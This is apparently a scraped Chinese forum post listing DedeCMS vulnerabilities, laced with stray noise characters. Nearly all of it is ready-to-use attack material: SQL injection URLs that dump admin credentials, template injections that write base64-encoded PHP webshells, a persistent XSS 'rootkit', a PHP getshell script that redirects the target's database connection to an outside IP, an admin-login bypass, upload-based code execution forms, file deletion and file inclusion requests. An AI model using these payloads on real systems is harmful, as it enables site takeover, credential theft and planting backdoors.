dedecms漏洞总结

admin

6 h! k' b1 z) B+ ~  M, E1 l9 ]Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1

7 {- a- \& f$ W! d
0 p+ H0 e7 U( m
: [" Y! j3 M3 ~( d- `) ?- K
4 y4 d, \% s6 I
$ y  c7 W4 f$ P+ j" e, s
9 `4 |- t# M3 F/ b* _5 Z

DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
2 l$ a. m. G8 C/ E' @& c( D# Ca{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
1 ~- ^1 U0 ^' r+ c, q
+ A0 f, u, e2 @1 H+ [
9 d' E  {# v8 Z( @4 _) }



% H! S( j2 Z8 N) {9 _% S) }( d8 Z( Q

Dede 5.6 GBK SQL注入漏洞
' G: }) G) [+ B* Whttp://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7


+ O1 H+ @- a6 C' q, ~& w9 e9 I





DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

* R1 p7 e% M+ n- k( \3 I

6 x3 o1 h+ Q" ?6 |; W


DEDECMS 全版本 gotopage变量XSS漏洞
1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
6 ^8 K# x' N# ?http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
6 y7 g. Z9 c) N8 u1 z8 g

& v( K/ g" A2 C4 `3 L" n2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
9 T) R+ ^# ]3 G7 \9 Xhttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


9 G/ A$ ~+ N& \. s7 Nhttp://v57.demo.dedecms.com/dede/login.php
2 z, `# s& @9 {2 v# m0 ^0 E

: ]3 k& V. U3 D- \5 Q7 Z1 vcolor=Red]DeDeCMS(织梦)变量覆盖getshell
#!usr/bin/php -w
& S' k( Z5 C* m& R3 i' g6 d<?php
6 Q+ N8 c2 U+ F0 w# W! Y  Ierror_reporting(E_ERROR);
set_time_limit(0);
print_r('
DEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
);
echo "\r\n";
if($argv[2]==null){
! V% B9 M# f+ ?& Xprint_r('
+---------------------------------------------------------------------------+
# _$ ]# D5 F7 F' J/ ?# t6 `; E4 lUsage: php '.$argv[0].' url aid path
  J. q- U- t: y5 K2 X  f' e9 T/ ~aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
+ G' z' Q5 I5 pExample:
& A# ]# ]8 H2 i+ X: xphp '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
');
) d$ d( L2 X1 q9 B! p9 c0 Aexit;
}
' \; K# ]# M; z3 w$url=$argv[1];
$aid=$argv[2];
$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
) K) w! H; A! g! Iecho "
Exploit Success \n";
if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;
# Q; Q& z3 f4 |1 I+ x' t. h8 l
: _/ \2 i( }& B( n2 W( T6 f
# C! O6 D) d7 f9 p3 {if($aid==2)echo "
! o) }: H& p8 }. C4 W& {Shell:".$url."/$path/fuck.php\n" ;


, @$ k$ A. b9 S6 n* U  xif($aid==3)echo "
$ g$ O6 `9 F2 [4 c$ P: ~/ cShell:".$url."/$path/plus/fuck.php\n";
) v5 y1 o/ [  G+ L
* Z; o0 e  b; U/ H
  l9 l. Q8 |# r5 P6 t1 C}else{
echo "
Exploit Failed \n";
}
function Getshell($url,$aid,$path){
2 ?7 W( M# x2 ^. E* q" M$id=$aid;
$host=$url;
+ V' [# t" q9 F; ^  I; u: r$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
5 }" f+ f& s' o/ |$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
* S% I' x1 w! j9 F' q3 }7 F; H+ k$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
7 [+ h' U! `( g$ J: J$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
! u5 o) v# G" v8 a! C5 e  ~% I//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
9 q3 n0 p6 \) @% K* y' Y$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
! [2 [, Q! z/ W/ h4 v8 [5 J$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
3 g+ l2 j. g; @8 bNo response from ".$host."\n";
+ P  j7 k* y2 ]) y1 g2 u3 z# g}
8 Z; x- m6 j, j# p" t" S! m5 Yfwrite($ock,$data);
' `$ C; h% w/ W! u$ E" a$ u% ewhile (!feof($ock)) {
$exp=fgets($ock, 1024);
) X+ a, W8 A* L8 C) i) X. v: Greturn $exp;
}
! T* X3 p: M4 }/ L, D5 E9 j/ Q}
* `$ u4 g8 g- Y5 X6 W

9 f/ p! ]) T. ^?>
" l. ]* D% {& |
$ P% t3 g/ v9 s. T6 f2 V. Y. j" q
7 v0 O3 _& F& H/ O( q

4 k# F9 S6 |* b$ U4 t) ^
) \8 R6 o6 q0 \1 o( G6 V  L( y& o

3 J8 r: I/ O! Z7 X4 v0 |
4 C$ x+ c( v7 Y" G
9 T/ G4 `9 U# }5 m$ ~
3 l* _2 `( J  q' a; ^DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
" F- X; y! a: [) P. ]& R, E, whttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台
7 ^: ]9 {) P$ X7 ~; N

此漏洞的前提是必须得到后台路径才能实现

3 U7 T4 u2 k  C5 m9 z/ S

1 N9 w9 ]6 J! P( X; I$ R


; R8 |. H& o1 o3 L5 r. F
! y* N5 k# K% @8 s; Q5 |: ]5 r
2 V/ Z" p& N8 c: \. E3 {$ R

Dedecms织梦 标签远程文件写入漏洞
7 l+ p% S$ w) b( Z2 T前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

4 t- {& n! s2 ~0 u0 O% [# j
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
1 H$ p: L( q0 r5 W) ^) P<form action="" method="post" name="QuickSearch" id="QuickSearch">
' u/ W. T; O2 Z3 U2 A<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
5 Y  F# f0 A; n, V<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
* o# [6 H% u0 V; e</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script>
' S6 v4 @- t5 S


3 H7 }- W* H1 O
! l+ W9 @2 Y6 O8 I; h


* n; r3 j' W( l* c
+ S$ Q2 j3 [4 d4 \/ K+ S
" |# ]& W8 A: u7 d8 h
9 U0 b! s  ^" ]' B& ~+ F9 sDedeCms v5.6 嵌入恶意代码执行漏洞
3 }- k* Y: v( |# Y5 u注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
1 p/ O4 ^5 u0 s* r/ A9 N注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
- g* c0 z  D' ^1 Y7 y3 {# ]uploads/userup/2/12OMX04-15A.jpg
& \; F8 A; i/ \3 N7 D/ j* j. q" g7 ?! c
0 R3 D; F- ~+ S/ L4 g- y
模板内容是（如果限制图片格式，加gif89a）：
  ~6 j: R9 y3 {$ {/ _8 |{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
. s6 m$ Q; e9 ?@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
) ?4 e  w9 o, F- s% ]: _1 h@fclose($fp);
) @& S9 F+ j7 c% C2 O4 k{/dede:name}
2 修改刚刚发表的文章，查看源文件，构造一个表单：
* |1 u$ ~4 ?/ w; s* j<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
& |1 I: q+ Y. K! x* P<input type="hidden" name="dopost" value="save" />
! ~* m( A* V7 a- m8 U* b<input type="hidden" name="aid" value="2" />
0 N: A: ~1 \% y' J6 K* \<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
! A6 |8 p( p* d/ t<input type="hidden" name="channelid" value="1" />
0 O( y2 B5 B6 X; V( m. B) c<input type="hidden" name="oldlitpic" value="" />
, c" V- l5 a4 K, ^9 U, G& B<input type="hidden" name="sortrank" value="1275972263" />
. J! Z# ~% S' H7 y6 A1 n. p

<div id="mainCp">
! q) r  l0 @# z# O& Q1 z" u, |<h3 class="meTitle"><strong>修改文章</strong></h3>


/ {% S  i$ f9 y- ]5 R; ?( O( X5 @7 _9 e4 q<div class="postForm">
<label>标题：</label>
6 v2 g: s; {1 f: c3 i<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>


4 ]9 b& i0 V3 y0 u% c* a<label>标签TAG：</label>
2 j; P  L: J- b% v) C+ {5 h<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)


<label>作者：</label>
6 i9 l( @9 b- i- {; ]<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

$ N4 Y+ w9 @- _2 E; B7 G  l& i
<label>隶属栏目：</label>
. }; d# T) |$ W0 U7 U  K. v<select name='typeid' size='1'>
6 y8 F+ A* M' _* b- V<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
" q; s: C# d9 U; I( h3 s7 h
+ g% S" p& i( P  n
3 R# H# T' h- ]$ k3 k<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
( ~1 s$ h' F# a7 X' v# `</select>
7 h( ^1 c" |0 M9 @8 O. I
* F9 M! G; a7 k3 j/ \0 F
<label>信息摘要：</label>
$ |% b$ p, y6 {, ]<textarea name="description" id="description">1111111</textarea>
9 n& Y: ?' H: i. z$ m0 L# y- A(内容的简要说明)
& G& g8 Q! F5 N5 m; u

8 y3 h0 p0 E& Z! a8 ]<label>缩略图：</label>
# I( f5 Y( H3 S+ C( B- f0 o<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
% B) g; [" O& D5 h1 ^2 P

2 o4 c5 t, S/ t" F( K; j* T. r<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
& m) R& H) T6 o3 rvalue="templet,htmltext;">（这里构造）
7 {. C& I; [9 |0 V# U: T</div>
/ Z9 k6 n7 Y$ r( ?3 P9 X& E! J
/ K$ W$ d; y1 M' v/ g" ~
<!-- 表单操作区域 -->
& f$ u, M! s. r( ]# M$ t<h3 class="meTitle">详细内容</h3>
% I# T5 i& ]3 e2 g( z

; w0 K( `6 @: G0 Q. _5 g- o<div class="contentShow postForm">
. G* C3 Z3 F7 J  w3 ^( Q<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>


* d4 Y" z: H' p) [0 G<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
% H: w, I3 |- a; }2 E7 c  D<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
: Y9 ~) `% W- m( ]
, v! V! F6 Z' p6 M! o1 K
3 F* W: ^8 n( H- p! `7 a; P<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
</div>

; f% ^$ X1 r$ ]' g; R: t$ d
$ S& x3 v6 u/ F  w: D+ o9 M; v% x2 s</div>


- b, V. x3 O: b* {</form>
' L6 @. Q0 W  `

提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
假设刚刚修改的文章的aid为2，则我们只需要访问：
$ X; B% [8 O, h( g1 G7 q  `http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php
" H' ^0 |# _+ j3 K# i# P, b
. _  @4 w/ T$ M8 K4 q
6 g8 H) X8 M- J: W2 G$ d" ]
9 }& D* c; }1 [8 @% T


( D  U' m; }7 c3 V+ P
% H0 e1 i& ?: L  {* U

% y: d, p: F$ _# ~4 y, T
8 w0 {- h, K& k0 b; Y$ |& Y
" Q* @7 T5 z, I. Z* t4 O# @
* g6 Q  @0 ?/ s1 M( D2 BDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
. `! @2 x1 _7 z0 @! @8 c; I. [; sGif89a{dede:field name='toby57' runphp='yes'}
& d' h0 n, [' @5 H4 x) ]) A8 \phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
+ v$ f8 S6 I# ^1 H/ k" k$ n<input type="hidden" name="aid" value="7" />
3 b8 f: N/ v, R<input type="hidden" name="mediatype" value="1" />
; s# W1 W% [) `8 G<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
6 z* C" p( g" M& `) d# w5 `9 {<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
% H" ~/ M8 }( f) D: b# H<button class="button2" type="submit" >更改</button>
</form>
5 k8 S' S8 Y  w; |/ k  m

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：


<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
# S# N) k' h1 I' Y3 B  M<input type="hidden" name="aid" value="2" />
* J7 `0 z/ h- R0 g9 C9 d% g  H<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
6 p2 B) r* u, [6 m) l( L% r1 x1 R<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
! i3 v$ V( {' P9 m<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
0 [, V. |7 E9 B) @% U6 I# H<option value='1' class='option3' selected=''>Test</option>
9 K8 b8 S$ q. o! t<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
) A& B1 z& Q$ b( V# a<option value='1' class='option3' selected>aa</option></select>
! }/ T7 G4 \9 f! s2 k% t<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
: b! U, Q5 M5 a" W<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
- l. Z% m1 D; y7 {</form>
. z$ |3 Z, c$ P
; R( H) l; R( u& b* k, ~/ e* A
: R% {' n; j( b% H$ m' q+ b


: P  B+ B  `! K
% k7 c8 @$ [0 F7 [$ c; r0 H( B6 q

: D/ J* @3 N) A# e: F. ^7 q3 f0 r



) X- l# `. R" G/ _& g5 h5 C/ B+ r% Z5 u织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
1 a& d5 }2 ~( _! N8 N4 [$ l
* x3 ^  `/ r+ C6 @& s








+ w6 G2 L+ ]1 b8 g7 h8 S7 k织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
& x. t8 B1 l. L) g/ r6 \/ ~http://www.test.com/plus/carbuya ... urn&code=../../
) Y' _- s- R& U$ y8 v
) H. ?; d8 |4 d1 G



$ ?: h  o0 n- h( n7 u1 I% `
. U1 L4 |7 s/ J5 E! ~+ s7 o1 J
+ L$ t. O" F. S7 t: s
3 R, D6 U, R. w5 ]8 `4 ]

: R+ z) _6 x! f2 ~  G, |3 T6 k; T1 s% eDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5



7 u. @0 _! d  D. l
$ ?6 \* o  m* e2 g3 P) w; o* n8 {
' o' R5 `# }' G+ Z2 V

% I+ C; [6 M3 ^2 F/ v

9 m* e, E" O" D8 O! e0 I. z
织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
! _* |* i* _1 _http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
" [6 t8 j0 a; F* P3 {% R7 q

$ }* I; q$ b% o


  _0 `) a, ?) `6 h! o4 q$ x

" J4 g3 P4 _, \0 M+ d
- e2 Y  ^$ Z1 ]1 i6 l
; o8 e1 T  O! g. y2 o% `: N
织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
<html>
3 W$ B5 B' t) J/ }<head>
+ S6 K$ k! p- _4 k3 Y, q<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
6 s9 ?0 Q# g7 @' K0 n/ v<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
9 @# l9 T4 X4 [7 F5 h8 T8 C, [<input type='hidden' name='cfg_not_allowall' value='txt' />
- h4 b0 o' C# `9 Q$ b) J) K4 G' @8 O<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
3 W/ W6 f4 M: I<input type='hidden' name='f' value='form1.enclosure' />
9 w& d/ R. v  \<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
! W" y0 D2 I6 l2 u  T* U# a/ DSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
( H0 l2 f0 h. ^! N<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
% H" L: r7 E* Y* P  l) p* dFun the game,get a webshell at /data/cache/fly.php...<br />
</body>
* n! E$ T6 G& z</html>

0 t" C2 w' q" B9 M/ Q8 o


) N: l. ?: K. e5 z1 f# Z7 E
2 f7 @& N9 q8 q) `5 n% A7 _( C
) U7 |. B, [( e! X



7 n1 U9 p  L" S$ ^% k. T0 N5 T/ [& u织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
" ?$ i. V3 M* @利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
3 a3 S% m: Z* D4 i. M, w: {8 q! h3 n1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
$ V) {/ L' [# K! b) H1 x可看见错误信息
3 @! T6 |  _) T& F7 z
9 l: i. _3 ^: Y( q4 L3 `
: w, `7 K% w# r1 m" W2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
; R* s) P2 Y) I7 A/ w  XError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
* r2 \5 ]# P) f: H% Q! l
6 ~" K7 I) j" E7 o
+ B- Z. z! G& `3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
, e! J0 g3 h# a; q- K/ M: x3 ?: s0 U

5 Q" q5 g2 r3 b  `<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


, }7 k: @9 Q0 m  J按确定后的看到第2步骤的信息表示文件木马上传成功.

- y( k/ R" k! z5 X, f: F5 K



1 F2 `. I1 Y# ?6 U





  i9 U' b) [. Z2 h7 D. Y8 l$ t8 f! `
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*